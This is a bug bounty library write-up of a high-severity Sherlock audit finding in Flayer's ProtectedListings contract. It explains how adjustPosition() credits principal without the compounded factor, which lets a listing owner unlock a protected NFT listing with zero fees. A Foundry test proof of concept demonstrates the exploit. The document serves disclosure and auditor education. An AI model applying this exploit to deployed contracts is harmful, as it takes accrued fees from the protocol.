# User can unlock protected listing without paying any fee.

ProtectedListings.adjustPosition updates tokenTaken without the compounded factor, letting a user zero out unlock fees and unlock a protected listing for free.

- Payout: Audit contest
- Severity: high
- Program: Flayer
- Found by: 0x37
- Disclosed: 2024-08-06
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/269
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-08-flayer%3AH-11
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** ProtectedListings.adjustPosition() in Flayer Locker protocol
**Root cause:** adjustPosition() updates tokenTaken by the raw absAmount instead of dividing by the compounded factor, so debt reduction is over-credited relative to the compounded unlock price.
**Steps:**
1. Mint NFT and approve ProtectedListings
2. createListings with tokenTaken 0.4 ether for tokenId 0
3. vm.warp 7 days; unlockPrice = 402055890410801920
4. approve 0.4 ether collectionToken to ProtectedListings
5. call `adjustPosition(erc721a, 0, -0.4 ether)`
6. unlockPrice now 0; call `unlockProtectedListing(erc721a, 0, true)` paying no fee
**How found:** Code review of adjustPosition() comparing its tokenTaken arithmetic against the compounded-factor logic used in unlockPrice/getProtectedListingHealth; noticed L399/L413 update tokenTaken raw while debt is compounded, then wrote a Foundry PoC to confirm unlockPrice drops to 0.
**Exploitation:** Owner of a protected listing repays only the principal tokenTaken via adjustPosition(-amount); because tokenTaken is decremented without the compounded factor, the compounded fee is erased, then unlockProtectedListing succeeds with zero fee, denying the protocol its accrued interest.
**Insight:** When a protocol stores principal and computes debt via a compounded factor, audit every mutation of the stored principal for consistency with the compounding math; a single raw +=/-= on tokenTaken bypasses accrued interest.

## Proof of concept (copied exactly from the original report)

**Test unlocking protected listing without fee via adjustPosition**

```
function test_adjustPositionError() public {
        erc721a.mint(address(this), 0);
        
        erc721a.setApprovalForAll(address(protectedListings), true);

        uint[] memory _tokenIds = new uint[](2); _tokenIds[0] = 0; _tokenIds[1] = 1;

        IProtectedListings.CreateListing[] memory _listings = new IProtectedListings.CreateListing[](1);
        _listings[0] = IProtectedListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(0),
            listing: IProtectedListings.ProtectedListing({
                owner: payable(address(this)),
                tokenTaken: 0.4 ether,
                checkpoint: 0
            })
        });
        protectedListings.createListings(_listings);

        vm.warp(block.timestamp + 7 days);

        // unlock protected listing for tokenId = 0
        assertEq(protectedListings.unlockPrice(address(erc721a), 0), 402055890410801920);
        locker.collectionToken(address(erc721a)).approve(address(protectedListings), 0.4 ether);
        protectedListings.adjustPosition(address(erc721a), 0, -0.4 ether);
        assertEq(protectedListings.unlockPrice(address(erc721a), 0), 0);
        protectedListings.unlockProtectedListing(address(erc721a), 0, true);
    }
```

